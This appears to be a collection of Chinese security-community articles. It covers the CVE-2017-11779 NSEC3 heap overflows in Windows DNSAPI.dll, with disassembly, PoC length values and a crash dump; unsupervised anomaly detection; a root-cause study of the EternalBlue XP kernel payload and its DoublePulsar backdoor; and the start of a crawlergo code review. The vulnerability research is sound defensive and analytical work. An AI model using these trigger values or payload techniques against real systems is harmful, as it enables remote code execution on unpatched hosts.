在Windows 8/Windows Server 2012系统中，微软给Windows DNS客户端扩展了DNSSEC支持，相关代码存在于
**DNSAPI.dll** 文件中。其中一个引入用来支持DNSSEC的DNS资源记录（RRs）为NSEC3记录，该信息由
**Nsec3_RecordRead** 函数负责处理。
**CVE-2017-11779** 所包含的漏洞均与 **Nsec3_RecordRea** d函数有关，因为该函数无法安全地解析NSEC3
RRs，并进一步导致了多重写入越界问题。使用 **DNSAPI.dll** 文件的一般都是 **DnsCache** 服务，该服务的运行依赖于
**svchost.exe**
，并能够给Windows系统的DNS客户端提供DNS缓存服务。除此之外，还有很多其他需要发送DNS查询请求的应用程序也会引入该服务。
需要注意的是，由于这种记录是存在安全问题的，因此它理应是无法通过任何正常的DNS解析器的。正因如此，所以只有当目标用户直接从攻击者所控制的服务器中接受DNS响应的情况下，这些漏洞才有可能被触发。一般来说，
**这里需要攻击者实现主动的中间人攻击** 。
本文主要涉及到的是存在漏洞的DNS记录-NSEC3，NSEC3记录主要用来帮助DNS解析器识别记录名并验证DNSSEC有效性。
**漏洞介绍**
****
当你在看网页、听音乐或者什么都不做的时候，你的电脑都会发送DNS请求。除此之外，类似检测Windows系统更新的后台活动同样也会发送这种请求。绝大多数情况下，应用程序在发送这类请求时是不会直接查看到响应数据的，因为响应内容需要先到达DNS缓存服务并存储下来以便后续使用，这种特性可以帮助系统减少发送DNS请求的次数。
**DNS是一种明文协议，并且无法抵御中间人攻击**
。正是由于这种特殊性质，所以微软才引入了DNSSEC（域名安全）扩展。这种扩展引入了多种新的DNS记录，并能够向DNS客户端以及服务器传递更多的信息。DNSSEC的目的是尝试解决某些现存的安全问题，但你可能已经猜到了，它的出现也带来了新的安全问题。
微软在Windows8和Server
2012及其之后的操作系统版本中为DNSSEC添加了客户端功能，随之一起的还有多种新的DNS记录。但是这种功能中有一条存在漏洞的DNS记录，即NSEC3。当Windows
DNS客户端在处理包含NSEC3记录的DNS响应时， **它并不没有进行必要的数据过滤或清洗**
。恶意的NSEC3记录将能够触发这种漏洞，并导致DNS客户端出现内存崩溃问题。如果攻击者技术足够好的话，他们甚至还可以在目标系统中实现任意代码执行。
由于这种记录本身的恶意性，因此它无法通过正常的DNS系统。服务器在接收到这种记录时将会直接丢弃，因为它并不符合NSEC3记录的标准规范。所以，如果攻击者想要利用该漏洞实施攻击的话，他们的位置必须在目标用户和DNS服务器之间（中间人攻击）。比如说，你现在在用咖啡店的WiFi上网，然后某人想要对你实施攻击，如果他们可以入侵你的路由器，那么他们就能够修改你所接收到的DNS响应了。
**受影响的系统以及如何修复该问题**
****
**从 Windows 8/Windows Server 2012到Windows 10/Windows Server
2016的所有版本WIndows操作系统都会受到这些漏洞的影响，但Windows 8之前的操作系统不会受此影响。**
如果你的计算机操作系统版本是上述系统其中之一的话，我们建议用户 **立刻安装微软在2017年10月份发布的安全更新补丁** 。
**技术细节**
****
**DNSAPI.dl
l**中的这三个堆缓冲区溢出漏洞可以通过一台恶意DNS服务器或中间人攻击来触发，即发送恶意形式的NSEC3响应记录（RR）来对DNS请求予以响应。研究人员此次分析的是
**DNSAPI.dll** v6.3.9600.18512 (x86, Windows 8.1)，该问题也已经在v10.0.14393.206 (x64,
Windows 10)中得到了确认。
**缓冲区空间分配**
****
**Nsec3_RecordRead** 函数负责通过调用 **DNSAPI!DNS_AllocateRecordEx**
来为NSEC3响应数据分配目的缓冲区（destbuf），destbuf的分配大小是由一个16位的受用户控制的数据长度域控制的，即一条DNS资源记录中的通用数据域。通过修改数据长度域，攻击者就能够控制destbuf的大小，然后进行越界读写攻击了。
下图为WireShark捕获到的一条NSEC3资源记录，其中用蓝色部分标记的就是数据长度域：
DNSAPI可以从 **Dns_ReadRecordStructureFromPacket** 函数中获取到这个值，然后
**Nsec3_RecordRead** 函数将根据这个值来决定缓冲区空间的分配大小。
**堆缓冲区溢出漏洞 #1-NSEC3 Salt_Length**
第一个堆缓冲区溢出漏洞位于 **DNSAPI!Nsec3_RecordRead+0xB9** ，这里它会将用户提供的8位Salt Length值当作
**memcpy** 的拷贝大小。在我们分析的NSEC3资源记录样本中，NSEC3 Salt Length值的位置如下图所示：
如果攻击者能够控制NSEC3 Salt Length的大小，并让其超过destbuf的大小，那么攻击者就能够利用这个堆缓冲区溢出漏洞来实现越界写入操作了。
接下来，Nsec3_RecordRead函数将会使用空直接提供的NSEC3 Salt Length数据来作为memcpy的size参数，具体如下列代码所示：
.text:742574D4 mov bh, [esi+4] ; User-controlled NSEC3 Salt Length size
.text:742574D7 add esi, 5 ; Start of NSEC3 Salt data in RR
.text:742574DA mov eax, [ebp+var_4]
.text:742574DD mov [edi+1Ch], bh
.text:742574E0 add eax, 20h
.text:742574E3 movzx edi, bh
.text:742574E6 push edi ; Size (user-controlled)
.text:742574E7 push esi ; Src (NSEC3 RR data)
.text:742574E8 push eax ; Dst (size of buf is user-controlled)
.text:742574E9 call memcpy ; Nsec3_RecordRead+0xB9
其中的memcpy操作会将攻击者提供的DNS资源记录（0xff字节）拷贝到destbuf之中。
**堆缓冲区溢出漏洞 #2-NSEC3 Hash Length**
第二个堆缓冲区溢出漏洞存在于 **Nsec3_RecordRead+0xD9** ，具体如下列代码所示：
.text:742574EE mov eax, [ebp+var_4]
.text:742574F1 add esi, edi
.text:742574F3 mov bl, [esi] ; User-controlled NSEC3 Hash Length size
.text:742574F5 inc esi
.text:742574F6 mov [ebp+Src], esi ; Start of NSEC3 Hash data in RR
.text:742574F9 mov [eax+1Dh], bl
.text:742574FC add eax, 20h
.text:742574FF movzx esi, bl
.text:74257502 add eax, edi
.text:74257504 push esi ; Size (user-controlled)
.text:74257505 push [ebp+Src] a ; Src (data in NSEC3 RR)
.text:74257508 push eax ; Dst (size of buf is user-controlled)
.text:74257509 call memcpy ; Nsec3RecordRead+0xD9
在第一个堆缓冲区溢出漏洞那里，memcpy会将用户提供的值作为size参数值。而在第二个堆溢出漏洞中，目的缓冲区的大小跟例子一中由用户控制的缓冲区（destbuf）大小是一样的。在我们分析的NSEC3资源记录样本中，NSEC3
Hash Length域所处的位置如下图所示：
**堆缓冲区溢出漏洞 #3-Integer Underflow**
最后一个，也是最有用的一个堆缓冲区溢出漏洞并不会直接使用用户提供的length域，它会先进行一些计算（减法计算）。该漏洞位于
**Nsec3_RecordRead+0x106** ，具体如下列代码所示：
.text:7425750E mov ecx, [ebp+var_C] ; User-supplied NSEC3 RR size
.text:74257511 movzx eax, bl ; NSEC3 Hash length (from ex #2)
.text:74257514 sub cx, ax ; Potential underflow #1
.text:74257517 movzx eax, bh ; NSEC3 Salt length (from ex #1)
.text:7425751A mov ebx, [ebp+var_4]
.text:7425751D sub cx, ax ; Potential underflow #2
.text:74257520 movzx eax, cx
.text:74257523 push eax ; Size (user-controlled, wrapped)
.text:74257524 mov eax, [ebp+Src]
.text:74257527 add eax, esi
.text:74257529 mov [ebx+1Eh], cx
.text:7425752D push eax ; Src (NSEC3 RR data)
.text:7425752E lea eax, [edi+20h]
.text:74257531 add eax, esi
.text:74257533 add eax, ebx
.text:74257535 push eax ; Dst (size of buf is user-controlled)
.text:74257536 call memcpy ; Nsec3_RecordRead+0x106
我们用下列伪代码来演示计算的执行过程:
saved_record_len = DNS_RR_Size – 6 // performed outside this basic block
nsec3_nho_len = saved_record_len - nsec3_hash_len - nsec3_salt_len
接下来，我们可以使用下列值来创建一个PoC，并尝试实现越界读写操作：
saved_record_len of 0x00f9 (a.k.a DNS_RR_Size of 0xff – 0x6)
nsec3_hash_len of 0xf8
nsec3_salt_len of 0x6
**异常例子**
****
在下面给出的例子中，攻击者控制的数据将会用于资源寄存器及目的寄存器 **eax** 和 **edx** 之中：
eax=30303030
ebx=0000251e
ecx=00000000
edx=02f839e8
esi=00000001
edi=000001de
eip=7433d37f
esp=0394fb8c
ebp=0394fb94
iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
dnsapi!coalesceRemoveFromGroup+0x58:
7433d37f 895004 mov dword ptr [eax+4],edx ds:0023:30303034=????????
0:008> dd edx
02f839e8 30303030 30303030 02f839f0 02f839f0
02f839f8 30303030 30303030 30303030 30303030
02f83a08 30303030 00000001 00000001 30303030
02f83a18 30303030 30303030 30303030 30303030
02f83a28 30303030 30303030 30303030 30303030
02f83a38 30303030 30303030 30303030 30303030
02f83a48 30303030 30303030 30303030 30303030
02f83a58 30303030 30303030 30303030 30303030
0:008> kv
ChildEBP RetAddr Args to Child
0394fb94 7433d300 02f83490 7432ef50 0000251e dnsapi!coalesceRemoveFromGroup+0x58 (FPO: [Non-Fpo])
0394fbbc 7432e635 743894ac 02fa2578 0000251e dnsapi!Coalesce_Complete+0x17e (FPO: [Non-Fpo])
0394fc24 7434021b 02f495f0 00000000 02f495f0 dnsapi!Send_AndRecvComplete+0x26b (FPO: [Non-Fpo])
0394fc48 743404d4 02f495f0 00000000 02f7a1f8 dnsapi!Send_AndRecvTcpComplete+0xef (FPO: [Non-Fpo])
0394fc68 74340105 7432dbf0 02f49cf0 02f78dd0 dnsapi!Recv_TcpCallbackCompletion+0xe9 (FPO: [Non-Fpo])
0394fc7c 74e688da 0394fd64 02f495f0 02f7a2cc dnsapi!Recv_IoCompletionCallback+0x109 (FPO: [Non-Fpo])
…omitted for brevity…
为了触发这种异常，第一个响应会设置‘truncated’
DNS比特，并强迫客户端通过TCP执行第二次DNS查询，此时攻击者就可以向目标主机发送更多的Payload了。如果能够对目标系统中的堆内存进行小心操作的话，攻击者甚至还可以向内存中写入包含函数指针的对象，并在目标系统中执行任意代码。
**总结**
****
对于攻击者而言，这三个漏洞的优势就在于：漏洞可以在不需要任何用户交互的情况下被触发；它们可以影响不同权限级别（包括SYSTEM）的运行进程；svchost.exe下的DnsCache服务将无法正常重启。这也就意味着，攻击者可以先终止DnsCache服务的运行，然后可以确切地了解到堆内存空间的状态，接下来再多次利用这些漏洞来绕过ASLR，最终向目标主机发送攻击Payload。 | 社区文章 |
# 前言
异常检测模型按照其数据样本的分布可以分为无监督模型、半监督模型和有监督模型。当已标记数据量充足的情况下，例如具有海量真实样本数据的阿里云和360，此时优先选用有监督学习，效果一般不错；当只有少数黑样本的情况下，例如有成熟安全团队的二线互联网厂商应该有一些积累，可以考虑半监督学习；当遇到一个新的安全场景，没有样本数据或是以往积累的样本失效的情况下，只有先采用无监督学习来解决异常检测问题，当捕获到异常并人工审核积累样本到一定量后，可以转化为半监督学习，之后就是有监督学习。
现实的情况是安全场景被细分，问题需要一个一个单独去解决，能够借助的资源比较有限，所以异常检测问题的开始往往是两眼一抹黑，只有业务场景和没有标记的海量数据，这时候就需要无监督异常检测模型了。
# 无监督异常检测模型
无监督异常检测模型有基于密度的异常检测、基于邻近度的异常检测、基于模型的异常检测、基于概率统计的异常检测、基于聚类的异常检测、OneClassSVM的异常检测、iForest的异常检测、PCA异常检测、AutoEncoder异常检测、序列数据的异常检测等，有点杂乱，知乎大佬总结的很好，分为五大类：统计和概率模型、线性模型、基于相似度衡量的模型、集成异常检测和模型融合、特定领域的异常检测。
统计和概率模型：主要是假设和检验。假设数据的分布，检验异常。比如对一维的数据假设高斯分布，然后将3sigma以外的数据划分为异常，上升到高维，假设特征之间是独立的，可以计算每个特征维度的异常值并相加，如果特征之间是相关的，也就变成了多元高斯分布，可以用马氏距离衡量数据的异常度。这类方法要求对问题和数据分布有较强的先验知识。
线性模型：假设数据在低维空间上有嵌入，那么无法、或者在低维空间投射后表现不好的数据可以认为是异常点。PCA有两种检测异常的方法，一种是将数据映射到低维空间，然后在特征空间不同维度上查看每个数据点和其他数据点的偏差，另一种是看重构误差，先映射到低维再映射回高维，异常点的重构误差较大。这两种方法的本质一样，都是关注较小特征值对应的特征向量方向上的信息，《机器学习-异常检测算法（三）：Principal Component Analysis》这篇文章关于PCA异常检测介绍的很详细。OneClassSVM也属于线性模型。
基于相似度衡量的模型：这里的相似度衡量可以是密度、距离、划分超平面等。其中典型的当属基于局部相对密度的Local Outlier
Factor，和基于划分超平面的Isolation Forest。
集成异常检测和模型融合：Isolation Forest是经典例子，判别异常的直接依据是异常点的划分超平面数远小于正常点，Isolation
Forest通过数据和特征的bagging和多模型等集成学习技术增加模型的鲁棒性。
# 安全实践
无监督异常检测模型有什么用呢？设想一种场景：正在业务发展期的一线互联网公司，安全团队初建，一切都是从头开始，主管给实习生小四设定了检测主机用户异常操作的任务，小四面临的问题有：
1、场景问题，做异常检测，那么怎么定义用户正常操作和异常操作？
2、数据问题，完全没标记样本数据积累，典型的无监督学习，只能从头自己采数据，那能获取到的数据是什么？数据量级？数据内在分布？
3、特征工程问题，因为对问题不了解，造成了对数据不了解，进而对能区分正常异常的特征提取也不了解。
4、算法选择问题，是选用基于高斯分布的统计和概率模型还是Isolation
Forest一把梭，因为对问题及数据分布没有较强的先验知识，所以选取哪种算法比较好很难说清楚。
这样一看，任务就是通过无监督异常检测模型检测主机用户异常操作，梳理了一下面临以上四个问题，发现最根本的问题还是在场景问题，也就是异常操作的理解和定义。这里有两种思路，一种是即使我们不知道此业务场景面临的异常到底是什么，也要深入了解业务后根据已有的经验和知识定义异常，有针对性特征化接无监督学习，效果完全看经验，因为业务的不同，以前的经验可能很有用也可能一开始方向就错了。另一种是我们不知道异常就不知道异常，异常操作数据直接看成文本，用NLP和深度学习技术盲特征化再接入无监督算法学习，从0开始从真实环境中一点点筛出异常人工审核，抓到异常样本再去审视问题，获取先验知识，定义此业务场景下的真实异常，然后再接第一种思路，模型的话看样本数量继续用无监督或调整为半监督。第一种思路适合老师傅，实习生小四选择了第二种思路，当小四跃跃欲试的想去抓数据时，主管告诉小四线上环境不能碰，只分配一台云测试机，小四，卒。
小四只有采用迂回战术，选用公开数据集较多的URL异常检测这个场景来验证第二种思路的可行性。假设我们不知道URL异常是什么，只猜测URL数据中有异常，构造了训练集和测试集，来验证数据的维度、数量、分布对无监督模型异常检测效果的影响。
解释一下上面表格数据，（2000，0）（20000，1000）24795意思是训练集2000个白样本，0个黑样本，测试集20000个白样本，1000个黑样本，24795个特征（tfidf），第一列其他数据同理。第2、3、4列中的数据，例如41.8s|0.5175|0.494，表示模型训练时间为41.8秒，训练集准确率为0.5175（20%验证集），测试集准确率为0.494，红色标记表示按行同类型算法中最差的效果，黑色加粗表示最好效果。
观察可得出以下结论：
1、Isolation Forest较为稳定，维度和数据量对Isolation Forest的综合影响不大，无论是开销还是训练集和测试集准确率。
2、综合来看Local Outlier Factor的模型准确率最优，但是维度和数据量对lof的训练时间开销有较大影响，如果是稀疏矩阵的话例外。
3、OneClassSVM准确率性能最差，一片红，数据量也对OneClassSVM的模型训练时间开销产生很大影响，不适合处理大规模数据。
4、Robust
Covariance效果一般，可能是因为采用tfidf提取的24795个稀疏特征，经过降维后得到的200维、100维、50维、10维特征的数据不满足高斯分布这个假设。Robust
Covariance不适合处理高维（稀疏）特征，也没必要处理高维特征，统计得到的可能满足高斯分布的特征数量一般都还是低维范畴。
5、从数据维度和量级对训练时间开销、训练集测试集的准确率三个评价指标的综合影响来看，IsolationForest《Local Outlier
Factor《Robust Covariance《OneClassSVM。
真实的环境下，一般异常非常稀疏，所以下面关注的点是模拟数据分布（正负样本比）对无监督学习模型筛选异常的影响，优先关注召回率，所以下面表格数据列出了样本混淆矩阵。
解释一下表格数据，维度10都还是由NLP的tfidf提取特征再降维到10维，黑色加粗表示按行同类型算法准确率最优，红色表示最差，蓝色标记的混淆矩阵表示检出正例（异常样本）最优。
观察表格数据可以得到以下结论：
1、不论训练集中黑样本数据的稀疏与否，Robust
Covariance对异常的检出能力极差，这是因为这里的10维特征都是NLP提取并降维的，不满足高斯分布的假设前提。
2、在异常占比相对较多的情况下，Isolation
Forest和OneClassSVM对异常有一定的检出能力，但是随着黑样本的稀疏，检出能力越来也差，而且OneClassSVM的准确率很低，可能不适用于真实环境中对异常的筛选。
3、LOF对异常的检出率稳定较优。
4、算法选择优先级LOF>Isolation Forest>OneClassSVM>Robust Covariance。
上面四个结论的前提都是10维特征是由tfidf自动提取的，效果总的来看较差，但是一定程度上还是能够检出异常的，当我们抓取到异常样本并人工审核后，观察样本，统计提取特征，重新看一下数据分布对无监督模型异常检测的影响。
上表中的维度10表示10个根据专家知识提取的统计特征，由上表数据可以得到以下结论：
1、无论异常稀疏与否，OneClassSVM对异常的发现能力最优，但是准确率最低，实际操作起来可行性不高。
2、当数据一定程度上满足高斯分布时，Robust Covariance在稀疏数据中检出异常效果较好。
3、Isolation Forest在稀疏数据中异常检测综合性能稳定。
4、当有相对可靠的统计特征为基底时，Robust
Covariance、IsolationForest、OneClassSVM、LOF四种算法对异常的检出率都较好，尤其是Robust
Covariance、IsolationForest和OneClassSVM。
5、综合来看，在专家统计特征情况下，算法选择优先级IsolationForest>Robust Covariance>LOF>OneClassSVM。
可以看到先采用NLP盲特征化发现异常样本（当我们对数据一无所知时，NLP能够直接反映数据部分内在分布），再用专家知识发现异常样本统计特征并做进一步异常检测的效果尚可，这也验证了思路二的可行性。
# 总结归纳
首先我们要意识到这个实践的局限性：
1、选用的数据集普遍偏小，最大不超过200000万条，因此不能真实反映出生产环境中极大数据量下的情况。
2、为了实践的可重复性，固定了训练集和验证集。但考虑到准确性，应该随机多次划分数据并求平均。
3、所有模型均未调参，都是模型的默认值。可能有些模型经过调参后效果有很大提升。
但即使是这样，实验结果也带来异常检测模型选择时的思路：没有普遍意义上最优的模型，具体问题需要具体分析，但有很多情况下相对稳定、较优的模型，比如Isolation
Forest。
所以当面对一个全新的异常检测问题时，个人认为可以遵循以下步骤分析：
1、我们解决的问题是否有标签，如果有的话，优先选用有监督学习解决问题，如果没有的话，需要抓取样本
2、我们对数据的了解，数据分布可能是什么样的，异常分布可能是什么样的，在了解这点后，可以根据假设选择特征和模型。如果都不了解的话，可以试试NLP盲特征化处理，再选用LOF
3、可以根据数据的特点选择算法，当对数据的特点比较了解时，比如大数据集高维度可以选用solationForest，比如数据的特征值分布如果满足高斯分布可以选用Robust
Covariance。如果对数据了解有限时，多试试不同的算法
4、无监督异常检测验证模型结果并不容易，可以采用TopN的方式，概率高的自动放过，概率低的人工审核
5、异常可能总是在变化，需要不断的重训练和调整策略
6、规则有时候比模型更有效，机器学习模型并不是万能的，如果有较强先验知识的话，优先选用规则，如果没有的话，可以把模型当成一种弱规则，总而言之使用交叉策略：人工规则+检测模型
7、异常检测问题能不能得到解决，客观上取决于正常和异常数据内在的不同，主观上取决于我们挖掘正常和异常数据外在的不同。
# Ref
* [数据挖掘中常见的「异常检测」算法有哪些？](https://www.zhihu.com/question/280696035)
* [Abnormal Detection（异常检测）和 Supervised Learning（有监督训练）在异常检测上的应用初探](https://www.cnblogs.com/LittleHann/p/7086851.html)
* [八大无监督异常检测技术](http://www.csuldw.com/2019/03/24/2019-03-24-anomaly-detection-introduction/)
* [梳理 | 异常检测](https://www.zuozuovera.com/archives/1395/)
* [异常检测的N种方法，阿里工程师都盘出来了](https://mp.weixin.qq.com/s/kv-ZrOF4nnxXoQwFOodzjA)
* [异常检测初尝试](https://iami.xyz/Inlier-Outlier-Detection/)
* [机器学习-异常检测算法（二）：Local Outlier Factor](https://zhuanlan.zhihu.com/p/28178476)
* [如何利用机器学习进行异常检测和状态监测](http://www.csuldw.com/2019/01/09/2019-01-08-how-to-use-machine-learning-for-anomaly-detection-and-condition-monitoring/)
* [PCA主成分分析Python实现](http://www.csuldw.com/2016/02/28/2016-02-28-pca/)
* [机器学习-异常检测算法（三）：Principal Component Analysis](https://zhuanlan.zhihu.com/p/29091645)
* [Anomaly Detection异常检测--PCA算法的实现](https://www.jianshu.com/p/e35a47913457)
* [PCA and Mahalanobis Distance](http://escse.github.io/2016/04/27/Mahalanobis-Distance-and-PCA/) | 社区文章 |
# 解析XP版永恒之蓝中的一个Bug
##### 译文声明
本文是翻译文章，文章原作者 zerosum0x0，文章来源：zerosum0x0.blogspot.com
原文地址：<https://zerosum0x0.blogspot.com/2018/11/dissecting-bug-in-eternalblue-client.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 背景
永恒之蓝漏洞刚出来时，我可以顺利搞定Windows 7，但在攻击Windows XP时我一直没有成功。我尝试了各种补丁和Service
Pack的组合，但利用程序要么无法成功，要么会导致系统蓝屏。当时我没有深入研究，因为FuzzBunch（NSA泄露工具集）还有待探索许多点。
直到有一天，我在互联网上找到了一个Windows XP节点，我想尝试一下FuzzBunch。令人惊讶的是，在第一次尝试时，漏洞利用竟然成功了。
那么问题来了，为什么在我的“实验”环境中，漏洞利用无法成功，而实际环境中却可以？
这里先揭晓答案：在单核/多核/PAE CPU上NT/HAL的实现有所区别，因此导致FuzzBunch的XP系统攻击载荷无法在单核环境中使用。
## 0x01 多条利用链
大家需要知道一点，EternalBlue（永恒之蓝）有多个版本。网上已经有人详细分析了Windows
7内核的利用原理，我和[JennaMagius](https://zerosum0x0.blogspot.com/2017/06/eternalblue-exploit-analysis-and-port.html)以及[sleepya_](https://github.com/worawit/MS17-010)也研究过如何将其移植到Windows
10系统上。
然而对于Windows
XP而言，FuzzBunch包含一个完全不同的利用链，不能使用完全相同的基本原语（比如该系统中并不存在SMB2以及SrvNet.sys）。我在DerbyCon
8.0演讲中深入讨论过这方面内容（参考[演示文稿](https://drive.google.com/file/d/1evqBqqNCTha7LxKNC9P85ql49qLbWZ_i/view)及[演讲视频](https://www.youtube.com/watch?v=ZHWidYrEgNM)）。
在Windows
XP上，[KPCR](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kpcr.htm)（Kernel
Processor Control
Region）启动处理器为静态结构，为了执行shellcode，我们需要覆盖[KPRCB](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kprcb/index.htm).[PROCESSOR_POWER_STATE](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/processor_power_state.htm).IdleFunction的值。
## 0x02 载荷工作方式
事实证明，漏洞利用在实验环境中没有问题，出现问题的是FuzzBunch的攻击载荷。
ring 0 shellcode主要会执行如下几个步骤：
1、使用现在已弃用的
[KdVersionBlock](https://web.archive.org/web/20061110120809/http://www.rootkit.com/newsread.php?newsid=153)技巧获得`nt`及`hal`地址；
2、解析利用过程中需要用到的一些函数指针，如`hal!HalInitializeProcessor`；
3、恢复在漏洞利用过程中被破坏的KPCR/KPRCB启动处理器结构体；
4、运行[DoublePulsar](https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html)，利用SMB服务安装后门；
5、恢复正常状态执行流程（`nt!PopProcessorIdle`）。
### 单核分支异常
在`IdleFunction`分支以及`+0x170`进入shellcode处（经过XOR/Base64
shellcode解码器初始处理之后）设置硬件断点（hardware breakpoint）后，我们可以看到搭载多核处理器主机的执行分支与单核主机有所不同。
kd> ba w 1 ffdffc50 "ba e 1 poi(ffdffc50)+0x170;g;"
多核主机上能找到指向`hal!HalInitializeProcessor`的一个函数指针。
该函数可能用来清理处于半损坏状态的KPRCB。
单核主机上并没有找到`hal!HalInitializeProcessor`，`sub_547`返回的是`NULL`。攻击载荷无法继续运行，会尽可能将自身置零来清理现场，并且会设置ROP链来释放某些内存，恢复执行流程。
注意：shellcode成功执行后，也会在首次安装DoublePulsar后执行此操作。
## 0x03 根源分析
shellcode函数`sub_547`无法在单核CPU主机上正确找到`hal!HalInitializeProcessor`的地址，因此会强制终止整个载荷执行过程。我们需要逆向分析shellcode函数，找到攻击载荷失败的确切原因。
这里内核shellcode中存在一个问题，没有考虑到Windows
XP上所有可用的不同类型的NT内核可执行文件。更具体一点，多核处理器版的NT程序（比如`ntkrnlamp.exe`）可以正常工作，而单核版的（如`ntoskrnl.exe`）会出现问题。同样，`halmacpi.dll`与`halacpi.dll`之间也存在类似情况。
### NT迷局
`sub_547`所执行的第一个操作是获取NT程序所使用的HAL导入函数。 攻击载荷首先会读取NT程序中`0x1040`偏移地址来查找HAL函数。
在多核主机的Windows
XP系统中，读取这个偏移地址能达到预期效果，shellcode能正确找到`hal!HalQueryRealTimeClock`函数：
然而在单核主机上，程序中并没有HAL导入表，使用的是字符表：
一开始我认为这应该是问题的根本原因，但实际上这只是一个幌子，因为这里存在修正码（correction
code）的问题。shellcode会检查`0x1040`处的值是否是位于HAL范围内的一个地址。如果不满足条件，则会将该值减去`0xc40`，然后以`0x40`增量值在HAL范围内开始搜索相关地址，直到搜索地址再次到达`0x1040`为止。
最终，单核版载荷会找到一个HAL函数，即`hal!HalCalibratePerformanceCounter`：
目前一切操作都没有问题，可以看到Equation Group（方程式组织）在能够检测不同类型的XP NT程序。
### HAL可变字节表
现在shellcode已经找到了HAL中的一个函数，会尝试定位`hal!HalInitializeProcessor`。shellcode内置了一张表（位于`0x5e7`偏移处），表中包含1字节的长度字段，随后为预期的字节序列。shellcode会递增最开始发现的HAL函数地址，将新函数的前`0x20`字节与表中字节进行对比。
我们可以在多核版的HAL中找到待定位的5字节数据：
然而，单核版的HAL情况有所不同：
这里有一个类似的`mov`指令，但该指令并不是[movzx](https://stackoverflow.com/questions/43491737/compiler-generates-costly-movzx-instruction)指令。这个函数中并没有shellcode搜索的字节序列，因此shellcode发现不了这个函数。
## 0x04 总结
大家都知道，在Windows的不同版本和Service
Pack中，想通过搜索字节序列来识别函数并不是一件靠谱的事情（这一点我们可以从Windows内核开发邮件列表上的各种争论一窥究竟）。从这个bug中，我们学到了一个教训：漏洞利用开发者必须考虑周全，注意NTOSKRNL和HAL在单核/多核/PAE上存在的差异。
非常奇怪的是，漏洞利用开发者会在攻击载荷中使用`KdVersionBlock`技巧和字节序列搜索技术来查找函数。在Windows
7载荷中，开发者会从KPCR IDT开始向前搜索内存，然后解析PE头，最终找到NT程序及其导出表，这是一种更可靠的处理方式。
我们也可以通过其他方法来找到这个HAL函数（比如通过HAL导出方式），也可以通过其他方法来清理被破坏的KPCR结构，这些工作留待读者来完成。
有间接证据表明，漏洞开发人员在2001年末开始开发FuzzBunch的主要框架。开发人员似乎只在多核处理器上编写并测试攻击载荷？也许这可能是一个线索，表明攻击者开发XP版漏洞利用程序的时间段。Windows
XP于2001年10月25日发布，虽然在同一年IBM发明了第一款双核处理器（POWER4），但英特尔和AMD直到2004年和2005年才开始提供类似产品。
这也是ETERNAL系列漏洞利用演进过程的一个例子。方程式组织可能会重复使用相同的漏洞利用和攻击载荷原语，但会使用不同的方法来开发漏洞，这样如果一种方法无法成功，也可以通过漏洞利用多样化特点来最终完成攻击任务。研究这些漏洞利用样本后，我们可以从中学到许多深奥的Windows内核内部原理。 | 社区文章 |
**作者：w8ay
原文链接：<https://mp.weixin.qq.com/s/votEOvJafPjCka7gIB8DEA>**
> crawlergo是一个使用`chrome
> headless`模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK，自动进行表单填充并提交，配合智能的JS事件触发，尽可能的收集网站暴露出的入口。内置URL去重模块，过滤掉了大量伪静态URL，对于大型网站仍保持较快的解析与抓取速度，最后得到高质量的请求结果集合。
>
> crawlergo 目前支持以下特性：
>
> * 原生浏览器环境，协程池调度任务
>
> * 表单智能填充、自动化提交
>
> * 完整DOM事件收集，自动化触发
>
> * 智能URL去重，去掉大部分的重复请求
>
> * 全面分析收集，包括javascript文件内容、页面注释、robots.txt文件和常见路径Fuzz
>
> * 支持Host绑定，自动添加Referer
>
> * 支持请求代理，支持爬虫结果主动推送
Github: <https://github.com/Qianlitp/crawlergo>
作者开源了源码，我是很兴奋的，以前也有写一个的想法，但是开源的动态爬虫不多，看了其中几个。
## 调研
<https://github.com/fcavallarin/htcap>
* 递归dom搜索引擎
* 发现ajax/fetch/jsonp/websocket请求
* 支持cookie，代理，ua，http auth
* 基于文本相似度的页面重复数据删除引擎
* 根据文本长度 <256
* simhash
* else
* ShinglePrint
* 主要代码是python调用puppeteer，但是核心逻辑在js里
<https://github.com/go-rod/rod>
* 一个操作chrome headless的go库
* 它比官方提供的chrome操作库更容易使用
* 有效解决了chrome残留僵尸进程的问题
<https://github.com/lc/gau>
* 通过一些通用接口获取url信息
<https://github.com/jaeles-project/gospider>
* Web静态爬虫，也提供了一些方法获取更多URL
<https://github.com/chaitin/rad1.rad>
1.虽然没有开源，但是它里面使用yaml进行的配置选项很多，通过配置选项可以大致知道它的一些特性。
2.可以手动登陆
3.启用图片
4.显示对爬取url的一些限制
1.不允许的文件后缀
2.不允许的url关键字
3.不允许的域名
4.不允许的url
设置下个页面最大点击和事件触发
## Crawlergo
之前也想过写一个动态爬虫来对接扫描器，但是动态爬虫有很多细节都需要打磨，一直没时间做，现在有现成的源码参考能省下不少事。
主要看几个点
* 对浏览器 JavaScript环境的hoook
* dom的触发，表单填充
* url如何去重
* url的收集
目录结构
├─cmd
│ └─crawlergo # 程序主入口
├─examples
├─imgs
└─pkg
├─config # 一些配置相关
├─engine # chrome相关程序
├─filter # 去重相关
├─js # 一些注入的js
├─logger # 日志
├─model # url和请求相关的库
└─tools # 一些通用类库
└─requests
根据源码的调用堆栈做了一个程序启动流程图
## 配置文件
`pkg/config/config.go`定义了一些默认的配置文件
const (
DefaultUA = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36"
MaxTabsCount = 10
TabRunTimeout = 20 * time.Second
DefaultInputText = "Crawlergo" // 默认输入的文字
FormInputKeyword = "Crawlergo" // form输入的文字，但是代码中没有引用这个变量的
